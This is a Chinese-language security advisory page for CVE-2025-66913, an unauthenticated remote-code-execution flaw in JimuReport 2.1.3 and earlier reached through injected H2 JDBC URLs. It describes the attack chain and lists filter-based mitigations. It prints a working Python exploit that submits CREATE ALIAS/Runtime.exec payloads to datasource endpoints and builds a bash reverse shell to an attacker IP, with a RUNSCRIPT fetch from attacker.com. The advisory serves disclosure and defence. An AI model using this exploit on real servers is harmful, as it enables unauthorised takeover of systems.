IPBUF安全漏洞报告
English
CVE-2025-66913 CVSS 9.8 严重

JimuReport <=2.1.3 H2 JDBC URL远程代码执行漏洞(CVE-2025-66913)

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2025-66913
漏洞类型
远程代码执行(RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
JimuReport

相关标签

远程代码执行RCESQL注入H2数据库JDBC注入JimuReportCVE-2025-66913未授权访问高危漏洞

漏洞概述

JimuReport是一款开源的轻量级报表工具,在2.1.3及之前版本中存在严重的远程代码执行漏洞。该漏洞源于应用程序在处理用户控制的H2 JDBC URL时,直接将攻击者提供的JDBC URL传递给H2数据库驱动,而H2数据库支持通过特定指令执行任意Java代码。攻击者可以利用这一特性,通过构造恶意的JDBC URL,在目标服务器上执行任意命令,从而完全控制受影响的系统。由于该漏洞无需认证即可利用,且CVSS评分高达9.8,属于紧急严重漏洞,建议所有使用受影响版本的用户立即采取修复措施。此漏洞与CVE-2025-10770为不同漏洞,攻击者可能同时利用多个漏洞进行组合攻击。

技术细节

漏洞根源在于JimuReport在数据库连接配置中未对用户输入的JDBC URL进行充分验证。H2数据库引擎支持多种启动选项,其中包括RUNSCRIPT、CREATEALIAS等指令,这些指令可以触发Java代码执行。具体来说,当H2数据库接收到形如jdbc:h2:mem:test;RUNSCRIPT+'http://attacker.com/shell.sql'的URL时,会尝试从指定URL读取并执行SQL脚本。更危险的是,攻击者可以利用CREATE ALIAS命令创建自定义函数,结合H2的JAVA_OBJECT类型转换特性,可以直接调用Runtime.exec()执行系统命令。攻击者首先构造包含恶意指令的JDBC URL,然后通过API接口或配置功能将其作为数据源提交,应用程序会直接使用该URL建立数据库连接,从而触发代码执行。整个过程无需任何认证,攻击者即可获得服务器的最高控制权。

攻击链分析

STEP 1
信息收集
攻击者识别目标系统运行JimuReport版本,通过指纹识别确定版本号<=2.1.3
STEP 2
构造恶意JDBC URL
攻击者构造包含H2数据库恶意指令的JDBC URL,利用CREATE ALIAS或RUNSCRIPT等命令注入Java代码
STEP 3
提交恶意数据源
通过API接口(如/datasource/add)将恶意JDBC URL作为数据源配置提交,无需任何认证
STEP 4
触发代码执行
应用程序使用攻击者提供的JDBC URL连接H2数据库,H2引擎解析并执行URL中的恶意指令
STEP 5
建立持久化控制
成功执行命令后,攻击者部署后门程序,建立持久化访问通道,完全接管服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-66913 PoC - JimuReport H2 JDBC URL RCE # Target: JimuReport <= 2.1.3 def exploit(target_url, attacker_ip, attacker_port): """ Exploit JimuReport H2 JDBC URL injection to achieve RCE """ # Attacker's HTTP server hosting the malicious SQL script shell_script = f''' CREATE ALIAS IF NOT EXISTS exec AS $$ void exec(String cmd) throws Exception {{ Runtime.getRuntime().exec(cmd); }}$$; CALL exec('bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1'); ''' # Another approach using RUNSCRIPT jdbc_url = f"jdbc:h2:mem:test;RUNSCRIPT+'http://attacker.com/shell.sql'" # Alternative: Direct Java code execution via H2 rce_url = f'''jdbc:h2:mem:test;CREATE ALIAS exec AS 'void exec(String cmd){{java.lang.Runtime.getRuntime().exec(cmd);}}';CALL exec('whoami')''' # Endpoint to add datasource (varies by version) endpoints = [ '/jimureport/datasource/add', '/report/datasource/save', '/api/datasource/create' ] payload = { 'name': 'malicious_datasource', 'jdbcUrl': rce_url, 'dbType': 'H2' } for endpoint in endpoints: try: response = requests.post( target_url + endpoint, json=payload, timeout=10, verify=False ) if response.status_code == 200: print(f'[+] Exploit sent successfully via {endpoint}') return True except Exception as e: print(f'[-] Error with {endpoint}: {e}') continue return False if __name__ == '__main__': if len(sys.argv) < 4: print(f'Usage: {sys.argv[0]} <target_url> <attacker_ip> <attacker_port>') print(f'Example: {sys.argv[0]} http://vulnerable-server:8080 192.168.1.100 4444') sys.exit(1) target = sys.argv[1] lhost = sys.argv[2] lport = sys.argv[3] print(f'[*] Targeting {target}') print(f'[*] Setting up reverse shell to {lhost}:{lport}') if exploit(target, lhost, lport): print('[+] Payload delivered, check your listener!') else: print('[-] Exploitation failed, try manually enumerating endpoints')

影响范围

JimuReport <= 2.1.3

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在应用层过滤器中拦截包含'RUNSCRIPT'、'CREATE ALIAS'、'jdbc:h2'等关键字的请求参数;2) 禁用或移除H2数据库组件;3) 限制数据源配置API的访问,仅允许受信任的IP地址访问;4) 部署网络层隔离,将JimuReport服务置于DMZ区域;5) 加强对应用日志的监控,及时发现异常的数据库连接尝试行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表